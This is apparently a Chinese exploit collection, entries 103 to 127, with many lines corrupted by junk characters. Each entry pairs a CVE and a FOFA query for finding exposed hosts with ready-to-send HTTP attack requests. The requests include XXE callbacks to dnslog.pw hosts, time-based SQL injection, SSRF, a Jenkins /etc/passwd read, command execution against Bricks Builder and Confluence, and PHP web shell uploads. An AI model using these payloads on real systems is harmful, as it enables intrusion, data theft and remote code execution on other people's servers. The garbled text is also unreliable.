' |/ {1 {* j! j; t' R1 g2 J<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
- b! ?$ S1 G% w/ k' R
& X. c- o2 l2 m9 {103. Ivanti Pulse Connect Secure VPN XXE
  S7 D& h) h, E' K3 l, Y3 rCVE-2024-22024
' }+ i/ Y- Z$ K. a9 z- XFOFA：body="welcome.cgi?p=logo"
4 g4 Y/ s( Z' e- P; v* HPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
0 i7 G+ O. q0 @* F  n7 J( A9 lConnection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
* Q7 a, f+ p* ^) w" `Accept-Encoding: gzip
! s( G1 B2 I% C# Q, Q  ~- T7 {! t
; I: N% ^, ^$ L* k# ISAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

% ~/ R9 R; j! j$ @0 ^7 _4 |7 k
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
) I% @' i+ S7 C: r; \% X) ~7 ?
+ Z* _* t6 D1 D/ a& W( Z4 j
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
: c; Y1 @. ]( u3 r( S4 o, }FOFA：title="TOTOLINK"
) u' I' e# q# l3 h" w/ H* F, rPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
& K9 }4 R! G& `% b9 n0 KContent-Length:41
5 k' p  @6 g% j$ O* |& tAccept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
* G# C! z0 g6 Y" G& c" TContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
2 e) I, v: j: u2 T+ iReferer: http://192.168.0.1/advance/index.html?time=1671152380564
4 e  h  M. v! R8 R: V: F  mAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
4 H9 L; M3 O: }$ yConnection:close

$ ]' u) e- Y* T! O+ @* Y9 A2 x{
"topicurl":"getSysStatusCfg",
"token":""
}

105. SpringBlade v3.2.0 export-user SQL 注入
! `9 [2 U0 K8 VFOFA：body="https://bladex.vip"
% R0 l1 p  {" s7 g( m! @5 z9 Chttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
2 K7 y7 l  s/ A& O0 {3 I0 m' gAccept-Language: zh-CN,zh;q=0.9
Connection: close

) g; U" b( n3 l3 d/ B) K
' v# i( O3 l" Q7 P2 Z+ ]107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
& P5 l4 P. e7 k7 p. p) b9 cGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
- ]1 ^# g- b$ z# f( y2 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close
8 R  }8 p: w: |6 K2 W  R
! _( d, t( Y) n) W
108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
; g9 A& K7 b) @$ k) XGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
3 j% a4 n) n# jHost: your-ip
Accept: application/json, text/plain, */*
4 s& }0 t, s' d- QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
& t( I0 \. D% T: LAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

8 \  n5 p4 H# [2 T& |
109. Jenkins CLI 任意文件读取
5 M3 U" H0 B6 Z  ]5 X6 L& M: _CVE-2024-23897
FOFA：header="X-Jenkins"
6 S) O9 ^0 P2 Y9 D9 p& sPOST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
) ~3 u' E2 J. [/ ]. m. j% R$ SContent-Length: 163
8 ?1 ^3 X' U  K6 Z
& t+ Z- ^, a. ub'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
+ Z7 K8 C( ?; E7 g; t

& Q9 r3 F' @+ X8 M9 mPOST /cli?remoting=false HTTP/1.1
Host:
# n; I- t: ]; R( h% u. }9 G5 t  uSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
) E& {, p0 v/ L2 i
0 \' K, {9 c7 H- B( e; A
; Q( x& y  B' t* p/ M" U) eERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
* W. y8 U) f" r3 J$ wjava -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

" }0 W5 q2 q$ K/ `
0 x$ {; F# P$ u110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
+ ^8 S' O. @$ p4 qGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
1 W# f9 C' j0 {9 \Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
- x; r' h7 k" r8 T8 ?Accept: */*
Accept-Language: en
Accept-Encoding: gzip
+ y) v0 V$ @1 e7 ~, }* K+ }

111. WordPress Plugin HTML5 Video Player SQL注入
% l, |" i6 l  ^2 e" s! Q: RCVE-2024-1061
9 U2 M& R& d# l( X% @" e& {FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
6 ~* u: X3 J- V- L' W! v( v& q1 _User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
" D* z3 Z* M4 e  I5 zConnection: close
3 c& j: S7 D. P" tAccept: */*
Accept-Language: en
* P1 \# Q7 F& IAccept-Encoding: gzip


; _6 U+ z: R, d  F  |* ?112. WordPress Plugin NotificationX SQL 注入
3 M  D! ~: ^' L; f  Z; ZCVE-2024-1698
( b& P9 ]) r3 C! SFOFA：body="/wp-content/plugins/notificationx"
' ^; `: L8 k0 V) L! C# T, OPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
7 I6 r/ W: N! Q6 EContent-Type: application/json
2 x$ {) u+ s. C/ T
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
' |" x% Z0 H$ J9 L2 n& T4 g; v) y# h

% v3 i& C* A- ~6 w! g113. WordPress Automatic 插件任意文件下载和SSRF
% M3 t* z. F6 S8 SCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
( f& L7 [) k( xGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
7 a: |: s- p$ r" _( q" ~5 ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
% z% {. O( \3 Z6 f* T2 O8 c9 _  MAccept: */*
. m4 v4 G' f! v: b) T' hAccept-Language: en
/ F! C" d" x/ f& Y  D% GAccept-Encoding: gzip

+ {' f5 x; g$ j. A5 r! z  C/ e
114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
3 e+ v' t- L2 q, W2 a8 SGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
; g% z6 p8 a* f! j  n& ?* [Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
; u4 t9 J/ o8 e/ W0 FAccept-Encoding: gzip, deflate
Connection: close

, {$ s( O/ z& w4 }1 S1 p4 @  @
115. WordPress Bricks Builder <= 1.9.6 RCE
% B: p% o$ n* p2 W- @6 f# yCVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
+ I5 A+ I1 V" K, i2 G& l/ mGET / HTTP/1.1
Host: x.x.x.x
  \/ ~$ S5 ~9 T- }. {User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip
5 n5 E% P) z+ x8 t' @

第二步替换nonce值，执行命令
5 z5 o- g7 @! n3 _$ KPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
1 q! C. V/ Q* B* S( @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
/ K3 [$ y' q0 U# C! ]Connection: close
4 H8 t  L0 M, ~! e8 f7 x2 v9 PContent-Length: 356
; ^7 ^0 O8 O) n4 ~& SContent-Type: application/json
Accept-Encoding: gzip
& @, A+ g& r% N" v
/ F& g9 j- o" N2 ?{
"postId": "1",
' |" G4 y" L4 y0 A! L0 A. _  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
    "settings": {
: t4 |" N) ?  I, ]1 a" U      "hasLoop": "true",
      "query": {
1 M; T3 V. |5 M* c        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
. T* \0 `9 m# P: r4 b        "objectType": "post"
/ ^3 c$ }3 J2 @: J; Y7 m( I      }
8 D. `4 A5 B) G' X2 O* I" W    }
  }
8 K' l, n5 ^% q+ j- Y}
; D, j. }! S  C
6 ~# ^* F$ W; R; [( Z; p* i) w
116. wordpress js-support-ticket文件上传
. V7 b( H" n: _: F. Q" hFOFA：body="wp-content/plugins/js-support-ticket"
# Y6 o7 N8 u* C/ }8 {" }POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
) ~, d8 u0 V9 l" \# `8 BContent-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
' Z7 i2 H# H( x+ K" w0 A$ S
----------767099171
5 D" P$ g5 i/ L9 x, F* dContent-Disposition: form-data; name="action"
configuration_saveconfiguration
0 l' N# A( S/ f, _- [, q$ N) _2 w2 P----------767099171
: i* V3 x, z! W' NContent-Disposition: form-data; name="form_request"
( ?2 R" _; `* z  A% wjssupportticket
  l3 h2 h- p0 f4 T2 ]----------767099171
& @) |- H. q1 p' g( D6 cContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
4 O4 B# S% }9 ?# b/ W0 ^  T----------767099171--
+ [& J& k# P$ k# G+ |2 _

117. WordPress LayerSlider插件SQL注入
% y1 q2 c; `% F* |, j* W5 Cversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
  u& |% R4 ~& k& J" t. s3 ~7 d8 B; XGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
: v$ K. k, W, y4 U4 I0 G% dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
* |5 c* a2 M' }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
# d/ Z2 f% |. T  [) ]: XUpgrade-Insecure-Requests: 1
8 I- ?# G, Q4 k  d. K  }+ f

5 O! ]4 L: D7 H. q! t$ \6 O) R' I. R118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
+ q" c2 G! \% v2 ZCVE-2024-0939
- w( ]/ q, L$ j4 dFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
7 `1 G0 u3 O& s( o0 yHost: 192.168.40.130:8443
5 z  ^; y/ `: a) M5 _9 uCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ [! ^$ l5 V) ]% u' V. sAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
$ P* h2 |* Z5 N$ OOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
: j, X5 k) k; o0 C1 N4 h6 uSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
3 o2 N4 K7 F+ S+ z& YSec-Fetch-User: ?1
Te: trailers
Connection: close
) }( g4 ?! q* T: f- }+ E4 r; S
-----------------------------13979701222747646634037182887
# L; A9 ~( `+ F4 @7 HContent-Disposition: form-data; name="file_upload"; filename="contents.php"
8 g" W) w* ~0 P3 uContent-Type: application/octet-stream

<?php
$ I3 A" y" ^! M$ W+ `. P6 rsystem($_POST["passwd"]);
- O  A0 r* L" E7 S; d  i! p?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
; G& q6 p8 w, n- e: {/ Z
& e$ p+ d1 n, ]/home/src.php
-----------------------------13979701222747646634037182887--

+ X" J3 F. \: o1 F" R! M
访问/home/src.php

( a- j4 }3 F; x: F7 Z% T; W119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
2 G: h0 M1 a& v8 V6 DPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
' ]2 \  f% X) c" hCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
* w9 J' y* A- B% Y% \Accept: */*
' H/ O9 w( \; M) [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
! r) A# x4 O, c4 k2 u* Z! ]Content-Type: application/x-www-form-urlencoded;
( A: o  @& l2 @- W& ZContent-Length: 109
6 h( k& E( F( g9 O- uOrigin: https://58.18.133.60:8443
, d" f/ y! U6 w4 ~: MReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
% ?- @' w1 M; V" c( @Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
0 d% R) Z) H* W' U5 lX-Originating-Ip: 1.1.1.1
7 G9 [, m+ q" q. k4 ^( a$ OX-Remote-Ip: 1.1.1.1
4 V( x- P& ^5 `X-Remote-Addr: 1.1.1.1
/ F( R+ B. z  C3 V2 P) i* ~Te: trailers
Connection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


1 H- M$ z. S% K( p120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
' t% N5 R7 h0 V" w9 q) q3 pFOFA：title="Smart管理平台"
) _/ N' |! S4 mPOST /useratte/web.php? HTTP/1.1
* R9 D5 g% }& |- h0 s6 }* M& I) vHost: ip:port
+ I' }( Y( ~, C1 x& gCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
$ R4 |3 W3 W3 z& H/ kUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
  c0 a+ G" A0 _4 d9 l! xContent-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
1 g( \% N' a. D; K+ MSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
+ _: d6 E5 j% L( S/ v& @; _; G% l0 I5 gSec-Fetch-Site: same-origin
' P3 h4 _5 s/ ASec-Fetch-User: ?1
0 q' r, F" C) X$ b( [9 {4 xTe: trailers
+ _. I* E, B! B  Z% X9 tConnection: close

/ _# W2 a: ^+ I! f+ t8 B-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
( U7 O4 w; J$ G) b% c( ^5 zContent-Type: application/octet-stream
& ]: Y2 v+ g! _  A0 a/ Z' S
<?php phpinfo()?>
' [% {( Q" z" M* J9 F. X; A# N-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
" L  x* v$ c1 @" i' j
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
4 {1 c, `& E4 O7 `* i/ |) E5 j
import
-----------------------------42328904123665875270630079328
! @# h" Z3 P. Z6 E

文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
+ C' K4 M, o& H# |CVE-2024-1918
FOFA：title="Smart管理平台"
5 _4 z& ]9 V, BPOST /useratte/userattestation.php HTTP/1.1
  p3 V7 d# ?3 zHost: 192.168.40.130:8443
5 V8 W4 J# `: ?( q" J( ACookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
( b; O& {4 M( t2 e$ Z, _User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
! w0 ?  d  K- i. A" p. v% tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ S. ~+ T. Z$ m7 f$ [  `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
0 C# [( P3 Q; e6 S, r' iContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
% S& G& |7 d( J, O# |Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
" V! E+ G2 P3 E1 }Sec-Fetch-Dest: document
( U; S' T2 @& Y8 D" o% NSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
% x* Y& L+ ^2 c/ H$ J2 zContent-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

: b  U" \3 W( D% V. g& O5 C1 n<?php phpinfo();?>
-----------------------------42328904123665875270630079328
, s( }0 S" l# Y3 Q1 |: SContent-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"

set
-----------------------------42328904123665875270630079328
9 Y+ |5 c# ]3 a9 A
! Y: d. `% B1 V! g
7 h5 j# X5 `! t; e' H1 nboot/web/upload/weblogo/1.php

, Y8 {! X6 p! v: u, B122. 北京百绰智能s200管理平台/importexport.php sql注入
! x/ f2 W/ g  R! a; CCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
+ r9 H; A! g% ZGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
2 A+ \. t: P0 g7 v" N1 t+ L' N2 ]+ ACookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
( E3 m6 ]: D4 k" ^Sec-Fetch-Dest: document
) Q- c: l4 k7 P( [; n) u, bSec-Fetch-Mode: navigate
- i6 y) }6 C& T! H" d& [Sec-Fetch-Site: none
" i! R3 x, c: N- {! s$ m5 ^Sec-Fetch-User: ?1
Te: trailers
) F3 s, ~% k" r' F- K5 {0 }Connection: close
: V/ Z+ O4 u& q! M4 Z1 |
4 F$ _+ p* U4 d
5 {7 ~# U" {* j0 p8 V1 `+ R; t123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
1 D" m; K& y' AAccept: */*
  i3 C5 G; H+ m/ kAccept-Language: en-US;q=0.9,en;q=0.8
4 f7 N. Q* I, C2 Q( S2 c! ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
7 i6 E; K. c4 c6 ?' B) OConnection: close
2 g7 v. {0 s. y6 b' S  YContent-Type: application/x-www-form-urlencoded
+ H( d6 e! C! w* {, H  V/ s
6 N: n3 p. R- J9 i+ L4 v- j) Blabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
, y' F6 ~  ?) Q1 R9 {/ {0 ]- q

& H% r( e) x% a! F: ~124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
+ H) L- U3 X: \0 {! _, yContent-Length: 72
3 ?# d# F: w- I; I5 |- ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
7 G$ x" l  n. k: pAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) a3 u/ ~% i! bConnection: close
Content-Type: application/x-www-form-urlencoded
7 V5 v! F3 e1 L, K
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
, J- w, n  r* L+ t

" L% D3 E  D0 w) h' Uhttp://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
# _  H  T8 W' o+ Q! i- LFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
& k% R' z  D' l, N

使用方法
- X$ `$ Z. }' y& s% g. gpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

$ O# i+ R6 [0 N+ Z, Z& a, _0 [
创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
  I) k( a- z  s, T3 v; dFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
7 C& K( f& q4 M! O+ K9 dHost: x.x.x.x
; M; a' k  v5 rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
8 E4 h' O) @2 a* z8 f: ?Connection: close
Accept: */*
2 R/ \2 X$ R* `6 X# C: XAccept-Language: en
( \! m* W8 h6 k3 c( jAccept-Encoding: gzip
- H' y6 l* I, W) j! a+ k- m, `( e* U
! z  p/ G: F* @6 i% ^# K! f  Z: _7 w% D# c3 C
127. 广联达Linkworks DataExchange.ashx XXE
" N2 v3 V  I4 B* E3 V1 yFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
" w: ^: f- v" Z# G( I- qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; L: {6 u/ q) AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
( U& ]  Z8 u$ ~1 d2 zSec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
' U6 p  ?) ?2 j" Y9 ]# Z9 Q8 YContent-Disposition: form-data;name="SystemName"
5 h# F7 B. f6 y# g- V* Z) x
BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain

8 o8 p8 G' t& p/ H) z<?xml version="1.0" encoding="UTF-8"?>
' S. g% F/ L( L$ A+ A+ D& q8 U2 ~3 o<!DOCTYPE test [
6 E4 k; U9 ]# X) ]7 S; O<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
! j# r# G6 A: L& g- q- @4 {6 A>
